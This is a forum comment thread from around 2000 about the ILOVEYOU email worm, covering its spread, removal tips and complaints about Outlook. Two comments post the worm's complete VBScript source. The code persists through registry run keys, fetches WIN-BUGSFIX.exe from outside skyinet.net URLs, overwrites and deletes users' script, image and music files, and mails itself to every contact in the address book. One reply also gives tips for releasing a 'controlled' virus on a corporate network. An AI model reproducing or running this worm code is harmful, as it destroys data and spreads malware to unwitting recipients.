    12. Re:Pretty Nasty actually by Blake · · Score: 1

      And no, you didn't have to click on it. That damn preview pane was enough to trigger it off.

      Well, I have the preview pane on, and I clicked on it, and it didn't run. My guess is that you would have to have "Automatically open attachments" set for the preview pane to fire it off, and if you have that set, you deserve what you get. (It's off by default, you have to set it explicitly.)

      Later,
      Blake.
      --
      "People get the OS they deserve" - Nick Bauman.

    13. Re:Pretty Nasty actually by DeathBunny · · Score: 1

      That's just plain stupid. I installed Trend Mail Scan (www.antivirus.com) on our mail server. Automatically strips viruses (including ILOVEYOU) form incoming and outgoing e-mails WITHOUT screwing with anybodies legitimate attachments.

  34. D'oh ! by Camelot · · Score: 1
    Personally, I loved the quote from the journalist who said that she was suspicious when she received 5 copies of it, but since the last one was from Dow Jones, she opened it anyway... :-)

    Would you like to date a guy who is called "Dow" ? D'oh, I'll say.

  35. Just some info... by IainMH · · Score: 1
    I also got voicemails as well as half a meg of 'don't open it e-mails' To remove this email from Netscape : >From the View menu go to show and make sure there is not a tick next to the message option. It there is a tick select message. Once done the message window should disappear. You can highlight the email to delete it. Do not double click on it otherwise it will open the email. Once deleted you will need to empty your trash. To remove from Outlook : >From the view menu deselect "Preview Pane" so that you can't see what the contents of the message is. Then delete the mail. You will need to empty your trash too. If anyone is interested, I got mail the script... rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32 ",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Wi n32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhj kxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfd jghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRp Gqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNB mnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX .exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFI X",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eqfolderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.i ni") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-Y OU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="LOVELETTER - HTML"&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ "

    This HTML file need ActiveX Control

    To Enable to read this HTML file
    - Please press #-#YES#-# button to Enable ActiveX"&vbcrlf& _ "----------z--------------------z---------- "&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ "" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr( 91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr (93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr( 37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-Y OU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU .HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub

    1. Re:Just some info... by IainMH · · Score: 1

      Bugger - should have used the preview....

      Just wanted Plain Old Text..

      sorry :-~

  36. E-mail too versatile? by zpengo · · Score: 2
    Perhaps we should go back to the days of simple e-mail clients, that would make a virus like this look around, get confused, and then fall over.

    Either that, or people need to stop using the address books, which are for lusers anyway! :o)

    --


    Got Rhinos?
    1. Re:E-mail too versatile? by ptomblin · · Score: 2

      The problem isn't just that email is too versatile, but that people are too damned stupid. I could send a malicious linux binary via "mutt", and some idiot somewhere would be stupid enough to execute it.
      --
      A "freaking free-loading Canadian" stealing jobs from good honest hard working Americans since 1997.

      --
      The next Cmdr Taco duplicate will be ready soon, but subscribers can beat the rush and see it early!
    2. Re:E-mail too versatile? by Overt+Coward · · Score: 2

      And any Linux user that ran it as root would deserve what (s)he got as a consequence. In the normal case, some user files could get trashed, but the system should still be safe.

      --

    3. Re:E-mail too versatile? by Rombuu · · Score: 1

      Perhaps we should go back to the days of simple e-mail clients, that would make a virus like this look around, get confused, and then fall over

      Perhaps we should quit using electricity as well...

      --

      DrLunch.com The site that tells you what's for lunch!
    4. Re:E-mail too versatile? by Znork · · Score: 1

      So, tell me, what exactly do we lose by not allowing any mail clients that have the ability to execute foreign code or launching programs to deal with any type of executable code?

      Ok, so, some people who shouldnt be using computers at all wont be able to view attachments because they cant figure out how to use _save attachment_ and how to launch the corresponding program. Who cares?

      Apparently their stupidity is so damaging to the rest of the world that the loss caused by catering to the ignorant costs far more than their ability to view pr0n and word documents gives.

    5. Re:E-mail too versatile? by Oarboat_7 · · Score: 1

      It's pretty darn smug of you to say "only user files would get trashed."

      Guess which files on a system usually came directly off a CD-ROM and can be reinstalled in a matter of a few hours?? The system files.

      Guess which files on a system are often irreplacable, and represent almost all the value in having a computer in the first place? The user files.

  37. It's hitting all over Europe. by Noryungi · · Score: 2


    My job's sysadmin has already warned us that the virus was in the wild somewhere, and has asked us *not* to open anything suspicious.

    I know that several large firms in my area are also scrambling to stop the infection. This virus can stop any MS system dead in its tracks and clog the others beyond repair. Tough little one!

    --
    The right to offend is far more important than the right not to be offended. (Rowan Atkinson)
  38. The Netherlands are being hit hard too by Bardad · · Score: 1

    Dutch news has that some 10% of bigger companies have shut down their email systems as a result of the "I LOVE YOU" virus already. It is on the radio news right now, as the first item.

    If you have a chance, take a look at the virus code, and see what some 300 lines of visual basic can cost industry in say a 24 hour period.

    In fact, as I write this, a guy from our support department comes in and hands me a printed "Virus Alert" piece of paper! It says the virus sends itself to all addresses in you address book. Having looked at the code, the virus also checks if you run an IRC client, and sends itself to everyone in all channels you are in.

    The virus also changes all .MP2 .MP3 .CSS .HTML and .JPG files, and renames them to .VBS files!

    Hmmm... there seems to be some really bored kid out there somewhere... the first line of the virus script reads:
    rem barok -loveletter(vbe)

    Ron Sprenkels (sprenkel@cs.utwente.nl)

  39. Outlook Strikes Again. by nard · · Score: 2

    From my initial investigation it looks like it is totally MS Specific. So own up then how many /. readers have been kicked in the balls? Come out of the closet all of you!

    1. Re:Outlook Strikes Again. by stx23 · · Score: 1
      From my initial investigation it looks like it is totally MS Specific.
      Yup.
      So own up then how many /. readers have been kicked in the balls?
      Not here. I have turned off active scripting, and if there is active content(as in this payload method), I would get a message asking if I want to run it.
      However, I'm in the minority. If you care about the security of your machine, you should turn off scripting, and given the attack of Melissa last year, you should be fully aware of the potential risk involved.
      This is only going to get worse.
    2. Re:Outlook Strikes Again. by staeci · · Score: 1

      as an mutt and linux only user I have been kicked in the balls by the fact that others use windows. My email was unavailable last night and my net access sucked the big choade (as they say here).

      --
      'Welcome to Rivendell, Mr. Anderson...'
    3. Re:Outlook Strikes Again. by homer_ca · · Score: 1

      Yes the mechanism to mail itself to your entire address book is MS Outlook specific. It's amazing how it spread. Just 5 or 6 people setting off the script made it send thousands of messages company wide (we have a big address list), and corrupt hundreds of files on the file server.

      So for you conspiracy theorists out there, who thinks the release was timed to coincide with the penalty phase of the MS antitrust trial?

  40. LINUX by gordzilla · · Score: 1

    I LOVE YOU (sorry, couldn't resist)

  41. Next step: AutoEducation.exe by FascDot+Killed+My+Pr · · Score: 3

    This virus follows the same pattern of "send to everyone in the address book", but ALSO appends the senders name to a data file included with the virus.

    The recipient then falls into one of three classes:

    1) Can't get/read virus.
    2) Can get/read virus and gets stung (and appended to list).
    3) Can get/read virus, doesn't get stung, recieved handy list of idiot coworkers.

    This list can be used in a multitude of ways:

    1) Reduce headcount
    2) List of gullible fools who will buy $2 candy bars "to send the Girl Scouts to the Moon"
    3) Identify users who need "training" (sit in a small hot room with each other and an instructor who does nothing but taunt them for their hunt-n-pecking)

    --
    Have Exchange users? Want to run Linux? Can't afford OpenMail?

    --
    Linux MAPI Server!
    http://www.openone.com/software/MailOne/
    (Exchange Migration HOWTO coming soon)
    1. Re:Next step: AutoEducation.exe by Black+Parrot · · Score: 3

      A friend is trying to get permission from her boss to deliberately post a virus on her corporate network one weekend per month. A virus that turns off VB scripting on any machine where it runs.

      --

      --
      Sheesh, evil *and* a jerk. -- Jade
    2. Re:Next step: AutoEducation.exe by Wanker · · Score: 2

      BE CAREFUL-- a company I used to work for used viral techniques for automatically installing/updating antivirus software and quickly gave up on the idea. It's too easy to "spread" to a system where you don't want to have the fix applied.

      A better solution is to run it as a non-viral application as part of the user's network login.

      If you're dead-set on using viral techniques make sure that the application checks a central server for a blacklist of systems to refrain from infecting, and a whitelist of network addresses to ONLY infect. This will allow you to control its spread. Also-- be sure to include a self-destruct/undo capability triggered by this same server, and include an unambigious string that is easy to add to your virus scanners should it "get away" from you.

      Again, it's really better to avoid doing this at all. Been there.

  42. The only love letter I've ever gotten... and I can't open it....

    --

    Ceci n'est pas une sig.
    1. Re:*sob* by zombieking · · Score: 1

      Awww.. Well, I havent even recieved this one. :( I feel like the guy in high school who was "forgotten" te be invited to the party. :(

      --

      -----
      "The only difference between me and a madman is that I'm not mad." - Salvador Dali (1904-1989)
  43. Someone please explain.. by Rob+Kaper · · Score: 1
    Fortunately, our office is not affected yet, one of our clients warned us in time - not by e-mail I presume.

    What worries me, and I like to have this explained, is why people continue to use Outlook.

    First it was Melissa, now it is ILOVEYOU.. you would think that someone would wake up and do something constructive such as switching to a mail program that would and could not be affected.

    I've tried to reason with our NT users, telling them that we got away these two times but that the next time (because there will be a next time I'm afraid) we might not be so lucky. Are there any worthy alternatives to Outlook? [worthy enough to convince the NT group.. you know how stubborn they are.. they're almost zealots like us ;-)]

    1. Re:Someone please explain.. by Rob+Kaper · · Score: 1
      Apparently there is no worthy alternative.. in that case, could you explain what is so special about Outlook (feature-wise) that nothing else could replace it?

      With all the Melissa's and I love you's out there, my personal opinion is that every mail client is a worthy alternative. I guess it depends on what you prefer: lots of gadgets or security.

    2. Re:Someone please explain.. by Detritus · · Score: 2
      What worries me, and I like to have this explained, is why people continue to use Outlook.

      That's simple. They work for one of the many corporations whose CIO has been assimilated by Microsoft, resulting in the mandatory use of Microsoft Windows, Office and Exchange. If you use Exchange for a mail server, you need Outlook on the client machines. My company recently "upgraded" from MS Mail to Exchange. The LAN Admins installed Outlook on every user's PC. I asked them why they didn't install some UNIX POP3 servers and save a ton of money. They said the deployment of Exchange was corporate policy, at the highest level.

      --
      Mea navis aericumbens anguillis abundat
    3. Re:Someone please explain.. by ellem · · Score: 1

      Two words.... Notes, Linux!

      --
      This .sig is fake but accurate.
    4. Re:Someone please explain.. by Garpenlov · · Score: 1

      What worries me, and I like to have this explained, is why people continue to use Outlook.

      First it was Melissa, now it is ILOVEYOU.. you would think that someone would wake up and do something constructive such as switching to a mail program that would and could not be affected


      It has nothing to do with Outlook. It's merely an email attachment, comparable to sending an executable to someone and seeing if they'll execute it. Actually, since it's a VBScript, it will only run if you have IE5 or have installed WSH for some reason.

      Of course, security-wise, you should have done the following to protect any installations of WSH, given the recent rash of VBScript worms: delete HKEY_CLASSES_ROOT\VBSFile\Open and Open2. Then, when user double-clicks attachment: they get the script in Notepad.

      --
      --- Where's my X.400 protocol decoder?
    5. Re:Someone please explain.. by Rob+Kaper · · Score: 1
      Yah, someone at work explained to me today how everything in Windows integrates and operates.

      Seems to me like it's mostly a "Problem Exists Between Keyboard And Chair" case and more prove that dumbing down computer users is NOT a good idea. It's great that computer systems can work and think for us, but a lot of people act like they do not have to think at all anymore.

    6. Re:Someone please explain.. by igaborf · · Score: 1
      They said the deployment of Exchange was corporate policy, at the highest level.

      Wierd. What kind of corporation devolves the choice of server software to "the highest level"?

  44. Outlook Exchange Web Server by Glytch · · Score: 1

    My college email comes through an Outlook web server (right here, if you're interested) and I'm wondering if I've got anything to worry about. I've tried to get the bloody admins to allow POP email clients to work with the college's system, but the morons don't know how to do it.

    Outlook web admins, should I be worried at all?

    1. Re:Outlook Exchange Web Server by tweek · · Score: 1

      Unfortunatly at the company I work for we run exchange. As far as OWA goes it won't do anything until you run it. Depending on your IE settings it will ask you when you click on the attachment to open it from here or save to a file. of course the obvious choice is to save to disk but that would require thought from most people.

      --
      "Fighting the underpants gnomes since 1998!" "Bruce Schneier knows the state of schroedinger's cat"
  45. Worm love? by jaf · · Score: 1

    Maybe in a few weeks, we will have a different worm (a small variation) saying "ILOVEYOUTOO" :)

    --
    -- jaf
    1. Re:Worm love? by carlos_benj · · Score: 1
      "Maybe in a few weeks, we will have a different worm (a small variation) saying "ILOVEYOUTOO" :) "

      Nah. Worms are asexual. Although..... You might want to check the other end of the script....

      --

      --

      As a matter of fact, I am a lawyer. But I play an actor on TV.

  46. Here is the Visual Basic Script that is "ILOVEYOU" by GC · · Score: 5
    rem barok -loveletter(vbe)
    rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
    On Error Resume Next
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micr osoft\Windows Scripting Host\Settings\Timeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
    end if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set c = fso.GetFile(WScript.ScriptFullName)
    c.Copy(dirsystem&"\MSKernel32.vbs")
    c.Copy(dirwin&"\Win32DLL.vbs")
    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    regruns()
    html()
    spreadtoemail()
    listadriv()
    end sub
    sub regruns()
    On Error Resume Next
    Dim num,downread
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32",dirsystem&"\ MSKernel32.vbs"
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Win32DLL",dirwin &"\Win32DLL.vbs"
    downread=""
    downread=regget("HKEY_CURRENT_USER\Software\Micr osoft\Internet Explorer\Download Directory")
    if (downread="") then
    downread="c:\"
    end if
    if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhj kxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7 679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfd jghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRp Gqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbv g/WIN-BUGSFIX.exe"
    elseif num = 4 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNB mnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPh jasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg /WIN-BUGSFIX.exe"
    end if
    end if
    if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFIX",downread&"\ WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
    end if
    end sub
    sub listadriv
    On Error Resume Next
    Dim d,dc,s
    Set dc = fso.Drives
    For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
    folderlist(d.path&"\")
    end if
    Next
    listadriv = s
    end sub
    sub infectfiles(folderspec)
    On Error Resume Next
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
    set f = fso.GetFolder(folderspec)
    set fc = f.Files
    for each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)
    if (ext="vbs") or (ext="vbe") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    bname=fso.GetBaseName(f1.path)
    set cop=fso.GetFile(f1.path)
    cop.copy(folderspec&"\"&bname&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="jpg") or (ext="jpeg") then
    set ap=fso.OpenTextFile(f1.path,2,true)
    ap.write vbscopy
    ap.close
    set cop=fso.GetFile(f1.path)
    cop.copy(f1.path&".vbs")
    fso.DeleteFile(f1.path)
    elseif(ext="mp3") or (ext="mp2") then
    set mp3=fso.CreateTextFile(f1.path&".vbs")
    mp3.write vbscopy
    mp3.close
    set att=fso.GetFile(f1.path)
    att.attributes=att.attributes+2
    end if
    if (eqfolderspec) then
    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
    set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
    scriptini.WriteLine "[script]"
    scriptini.WriteLine ";mIRC Script"
    scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
    scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
    scriptini.WriteLine ";"
    scriptini.WriteLine ";Khaled Mardam-Bey"
    scriptini.WriteLine ";http://www.mirc.com"
    scriptini.WriteLine ";"
    scriptini.WriteLine "n0=on 1:JOIN:#:{"
    scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
    scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
    scriptini.WriteLine "n3=}"
    scriptini.close
    eq=folderspec
    end if
    end if
    next
    end sub
    sub folderlist(folderspec)
    On Error Resume Next
    dim f,f1,sf
    set f = fso.GetFolder(folderspec)
    set sf = f.SubFolders
    for each f1 in sf
    infectfiles(f1.path)
    folderlist(f1.path)
    next
    end sub
    sub regcreate(regkey,regvalue)
    Set regedit = CreateObject("WScript.Shell")
    regedit.RegWrite regkey,regvalue
    end sub
    function regget(value)
    Set regedit = CreateObject("WScript.Shell")
    regget=regedit.RegRead(value)
    end function
    function fileexist(filespec)
    On Error Resume Next
    dim msg
    if (fso.FileExists(filespec)) Then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    function folderexist(folderspec)
    On Error Resume Next
    dim msg
    if (fso.GetFolderExists(folderspec)) then
    msg = 0
    else
    msg = 1
    end if
    fileexist = msg
    end function
    sub spreadtoemail()
    On Error Resume Next
    dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d
    set regedit=CreateObject("WScript.Shell")
    set out=WScript.CreateObject("Outlook.Application")
    set mapi=out.GetNameSpace("MAPI")
    for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)
    x=1
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software \Microsoft\WAB\"&a)
    if (regv="") then
    regv=1
    end if
    if (int(a.AddressEntries.Count)>int(regv)) then
    for ctrentries=1 to a.AddressEntries.Count
    malead=a.AddressEntries(x)
    regad=""
    regad=regedit.RegRead("HKEY_CURRENT_USER\Softwar e\Microsoft\WAB\"&malead)
    if (regad="") then
    set male=out.CreateItem(0)
    male.Recipients.Add(malead)
    male.Subject = "ILOVEYOU"
    male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
    male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR -YOU.TXT.vbs")
    male.Send
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"
    end if
    x=x+1
    next
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
    else
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Count
    end if
    next
    Set out=Nothing
    Set mapi=Nothing
    end sub
    sub html
    On Error Resume Next
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
    dta1="LOVELETTER - HTML"&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _
    "

    This HTML file need ActiveX Control

    To Enable to read this HTML file
    - Please press #-#YES#-# button to Enable ActiveX"&vbcrlf& _
    "----------z--------------------z---------- "&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _
    ""&vbcrlf& _
    ""
    dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
    dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
    dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
    dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
    dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
    dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
    dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
    dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
    set fso=CreateObject("Scripting.FileSystemObject")
    set c=fso.OpenTextFile(WScript.ScriptFullName,1)
    lines=Split(c.ReadAll,vbcrlf)
    l1=ubound(lines)
    for n=0 to ubound(lines)
    lines(n)=replace(lines(n),"'",chr(91)+chr(45)+ch r(91))
    lines(n)=replace(lines(n),"""",chr(93)+chr(45)+c hr(93))
    lines(n)=replace(lines(n),"\",chr(37)+chr(45)+ch r(37))
    if (l1=n) then
    lines(n)=chr(34)+lines(n)+chr(34)
    else
    lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
    end if
    next
    set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-Y OU.HTM")
    b.close
    set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU .HTM",2)
    d.write dt5
    d.write join(lines,vbcrlf)
    d.write vbcrlf
    d.write dt6
    d.close
    end sub

  47. Stopping email viruses. by Znork · · Score: 1

